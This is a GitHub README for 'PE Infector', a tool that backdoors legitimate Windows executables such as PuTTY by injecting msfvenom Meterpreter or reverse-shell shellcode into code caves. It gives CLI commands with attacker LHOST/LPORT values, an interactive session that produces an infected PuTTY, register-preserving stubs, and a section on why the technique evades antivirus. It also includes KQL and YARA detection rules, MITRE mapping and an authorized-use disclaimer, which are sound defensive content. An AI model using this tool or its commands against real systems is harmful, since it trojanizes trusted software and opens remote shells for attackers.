Skip to content

ugurrates/PE-Infector

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

PE Infector v1 - Code Cave Injection Tool

A Shellter-style PE infection tool that injects shellcode into legitimate Windows executables using code cave injection or new section addition. Features integrated msfvenom payload generation with support for both x86 and x64 architectures.

⚠️ DISCLAIMER: This tool is for educational and authorized security testing purposes only. Unauthorized use against systems you don't own is illegal. The author is not responsible for any misuse.


Table of Contents


Features

  • 🎯 Code Cave Injection - Uses existing empty space in PE files (no file size increase)
  • 📦 New Section Addition - Adds new executable section when no suitable cave exists
  • 🔄 Integrated Payload Generation - Built-in msfvenom integration for 7 common payloads
  • 🏗️ x86 & x64 Support - Automatic architecture detection and appropriate stub generation
  • 🛡️ Register Preservation - PUSHAD/POPAD (x86) or full register save/restore (x64)
  • 🎨 Interactive Mode - Shellter-style step-by-step guided interface
  • 💻 CLI Mode - Full command-line support for automation

How It Works

The Infection Process

┌─────────────────────────────────────────────────────────────────┐
│                    PE INFECTION FLOW                            │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│   1. LOAD TARGET PE                                             │
│      └─> Parse PE headers, identify architecture                │
│                                                                 │
│   2. FIND CODE CAVE (or add new section)                        │
│      └─> Search for null-padded regions in executable sections  │
│                                                                 │
│   3. BUILD PAYLOAD                                              │
│      ┌──────────────────────────────────────────┐              │
│      │  STUB_START (PUSHAD/PUSHFD)              │              │
│      │  SHELLCODE  (msfvenom payload)           │              │
│      │  STUB_END   (POPFD/POPAD + JMP to OEP)   │              │
│      └──────────────────────────────────────────┘              │
│                                                                 │
│   4. INJECT PAYLOAD                                             │
│      └─> Write payload to code cave                             │
│                                                                 │
│   5. MODIFY ENTRY POINT                                         │
│      └─> Point AddressOfEntryPoint to shellcode                 │
│                                                                 │
│   6. SAVE INFECTED PE                                           │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Execution Flow (After Infection)

BEFORE INFECTION:
┌────────┐
│ Entry  │──────────────────────────────────────────────►│ Normal Code │
└────────┘                                                

AFTER INFECTION:
┌────────┐     ┌─────────────────────────────┐
│ Entry  │────►│ CODE CAVE                   │
└────────┘     │  1. PUSHAD/PUSHFD           │
               │  2. [SHELLCODE EXECUTES]    │
               │  3. POPFD/POPAD             │
               │  4. JMP Original_Entry_Point│───►│ Normal Code │
               └─────────────────────────────┘

The program works normally while shellcode runs in the background.

Installation

Prerequisites

  • Python 3.8+
  • pefile library
  • Metasploit Framework (optional, for integrated payload generation)

Setup

# Clone the repository
git clone https://github.com/yourusername/pe-infector.git
cd pe-infector

# Install dependencies
pip install -r requirements.txt

# Or install pefile directly
pip install pefile

Usage

Interactive Mode (Recommended)

Simply run without arguments for a guided Shellter-style experience:

python pe_infector.py

Example Session:

╔═══════════════════════════════════════════════════════════════════╗
║        PE Infector v3.1 - Code Cave Injection Tool                ║
║        Integrated Payload Generation | x86 & x64 Support          ║
╚═══════════════════════════════════════════════════════════════════╝

[+] msfvenom found: Framework: 6.3.4-dev

============================================================
STEP 1: TARGET PE FILE
============================================================

[?] PE Target (target file path):
    > C:\Tools\putty.exe

[*] Loading PE file: C:\Tools\putty.exe
[*] Architecture: x86 (32-bit)
[*] Image Base: 0x400000
[*] Original Entry Point (RVA): 0xa1086
[*] Section count: 8

============================================================
PAYLOAD SELECTION
============================================================

  [1] Meterpreter Reverse TCP
      Full-featured Meterpreter shell (staged)

  [2] Meterpreter Reverse HTTP
      Meterpreter over HTTP (firewall bypass)
  ...

[?] Select payload (1-7) or 'c' for custom shellcode file:
    > 1

[?] LHOST (Your IP address):
    > 192.168.232.139

[?] LPORT (Listening port) [4444]:
    > 4444

[*] Generating payload...
[+] Payload generated: 354 bytes

============================================================
INJECTION SUCCESSFUL!
============================================================

+-------------------------------------------------------------+
|  Infected file: C:\Tools\putty_infected.exe                 |
|  Original EP:   0xa1086                                     |
|  New EP:        0x4a200                                     |
|  Method:        code_cave                                   |
+-------------------------------------------------------------+

Command Line Mode

For automation and scripting:

# With integrated payload generation
python pe_infector.py -t putty.exe -p 1 --lhost 192.168.232.139 --lport 4444

# With custom shellcode file
python pe_infector.py -t putty.exe -s payload.bin -o putty_backdoored.exe

# Force specific injection method
python pe_infector.py -t target.exe -s shell.bin --method section

Command Line Options:

Option Description
-t, --target Target PE file to infect
-s, --shellcode Custom shellcode file (.bin)
-o, --output Output file name
-p, --payload Payload number (1-7) for msfvenom
--lhost LHOST for reverse payloads
--lport LPORT (default: 4444)
--method Injection method: auto, cave, section

Available Payloads

# Payload Description
1 Meterpreter Reverse TCP Full-featured Meterpreter (staged)
2 Meterpreter Reverse HTTP HTTP-based (firewall bypass)
3 Meterpreter Reverse HTTPS HTTPS-based (encrypted)
4 Shell Reverse TCP Simple cmd.exe shell
5 Shell Bind TCP Port-listening shell
6 Meterpreter Stageless Single-stage (larger, more stable)
7 Execute Command Test payload (opens calc.exe)

Technical Details

Code Cave Injection

Code caves are unused spaces within PE sections caused by section alignment requirements:

┌─────────────────────────────────────────────────────────────────┐
│                    SECTION ALIGNMENT                            │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│   .text section (SectionAlignment = 0x1000 = 4096 bytes):       │
│                                                                 │
│   ┌────────────────────────────────────────────────────────┐   │
│   │  ACTUAL CODE           │  NULL PADDING (CODE CAVE)     │   │
│   │  0x1000 - 0x1CFF       │  0x1D00 - 0x1FFF              │   │
│   │  (3328 bytes)          │  (768 bytes of 0x00)          │   │
│   └────────────────────────────────────────────────────────┘   │
│                                                                 │
│   Total: 4096 bytes (aligned to SectionAlignment)               │
│                                                                 │
│   The 768 bytes of null padding = perfect hiding spot!          │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Register Preservation (x86)

; STUB_START
PUSHAD          ; Save EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI
PUSHFD          ; Save EFLAGS

; [SHELLCODE EXECUTES HERE]

; STUB_END  
POPFD           ; Restore EFLAGS
POPAD           ; Restore all registers
JMP OEP         ; Jump to Original Entry Point

Register Preservation (x64)

; STUB_START
PUSH RAX, RCX, RDX, RBX, RBP, RSI, RDI     ; Save general registers
PUSH R8, R9, R10, R11, R12, R13, R14, R15  ; Save R8-R15
PUSHFQ                                      ; Save RFLAGS
SUB RSP, 0x28                               ; Shadow space for API calls

; [SHELLCODE EXECUTES HERE]

; STUB_END
ADD RSP, 0x28
POPFQ
POP R15-R8
POP RDI-RAX
JMP OEP

Why Does This Bypass AV?

Understanding why this technique evades detection helps build better defenses:

1. Polymorphic Encoding

ORIGINAL METERPRETER:
FC 48 83 E4 F0 E8 C0 00 00 00 41 51...  ← Known signature

AFTER ENCODING:
8B 2D 91 A3 C7 F1 B8 19 19 19 58 68...  ← Unknown pattern

Each infection generates a unique encoded payload with a unique decoder stub.

2. Code Cave Utilization

  • No file size increase - Uses existing padding
  • No new sections added - Stays within original structure
  • Executable memory region - Already has execute permissions

3. Trusted Application Abuse

Indicator New Malware Infected PuTTY
Known app? ❌ No ✅ Yes
Expected behavior? ❌ Unknown ✅ SSH client
Network connection? ⚠️ Suspicious ✅ Expected

4. Clean Execution Flow

PUSHAD/POPAD ensures the original program runs normally - no crashes, no hangs, no behavioral anomalies.

5. Static vs Dynamic Analysis Gap

STATIC ANALYSIS:                  DYNAMIC ANALYSIS:
• Signature check: PASS           • Network connection: Expected for PuTTY
  (polymorphic encoding)          • Shell spawn: None (until post-exploit)
• Entropy check: PASS             • Process injection: None
  (code cave, no bloat)           
• PE structure: PASS              
  (valid headers)                 VERDICT: Normal behavior

Detection Strategies

For Blue Teams

KQL Query: Immediate Network After Process Start

DeviceProcessEvents
| where Timestamp > ago(1h)
| project ProcessStart=Timestamp, DeviceId, ProcessId, FileName, FolderPath
| join kind=inner (
    DeviceNetworkEvents
    | where RemoteIPType == "Public"
    | project NetworkTime=Timestamp, DeviceId, InitiatingProcessId, RemoteIP
) on DeviceId, $left.ProcessId == $right.InitiatingProcessId
| extend SecondsToNetwork = datetime_diff('second', NetworkTime, ProcessStart)
| where SecondsToNetwork between (0 .. 30)

YARA Rule: Code Cave Detection

rule PE_CodeCave_Injection {
    meta:
        description = "Detects potential code cave injection"
        author = "Ugur Ates"
    strings:
        $pushad_popad = { 60 [100-2000] 61 }
        $xor_decoder = { 31 ?? 83 ?? ?? 7? ?? }
    condition:
        uint16(0) == 0x5A4D and
        ($pushad_popad or $xor_decoder)
}

Recommendations

  1. File Integrity Monitoring - Hash baselines for critical executables
  2. Code Signing Verification - Validate digital signatures
  3. Network Anomaly Detection - Alert on immediate outbound connections
  4. EDR Solutions - Behavioral analysis and call stack inspection
  5. Application Whitelisting - Only allow known-good executables

MITRE ATT&CK Mapping

Technique ID Name Description
T1027.009 Embedded Payloads Shellcode embedded in code cave
T1036.001 Invalid Code Signature Infection breaks digital signature
T1055 Process Injection Code execution within legitimate process
T1059.001 PowerShell Potential post-exploitation
T1071.001 Web Protocols C2 communication

References


Author

Ugur Ates - SOC Team Lead | Aviation Cybersecurity


License

This project is for educational purposes only. Use responsibly and only on systems you own or have explicit permission to test.

MIT License - See LICENSE file for details

Changelog

v3.1 (2025-01-16)

  • Full English translation
  • Improved documentation
  • Added detection strategies section
  • MITRE ATT&CK mapping
  • Enhanced CLI help

v3.0

  • Integrated msfvenom payload generation
  • Interactive Shellter-style mode
  • x64 architecture support
  • Code cave auto-detection

About

PE Infector v1 - Code Cave Injection Tool

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages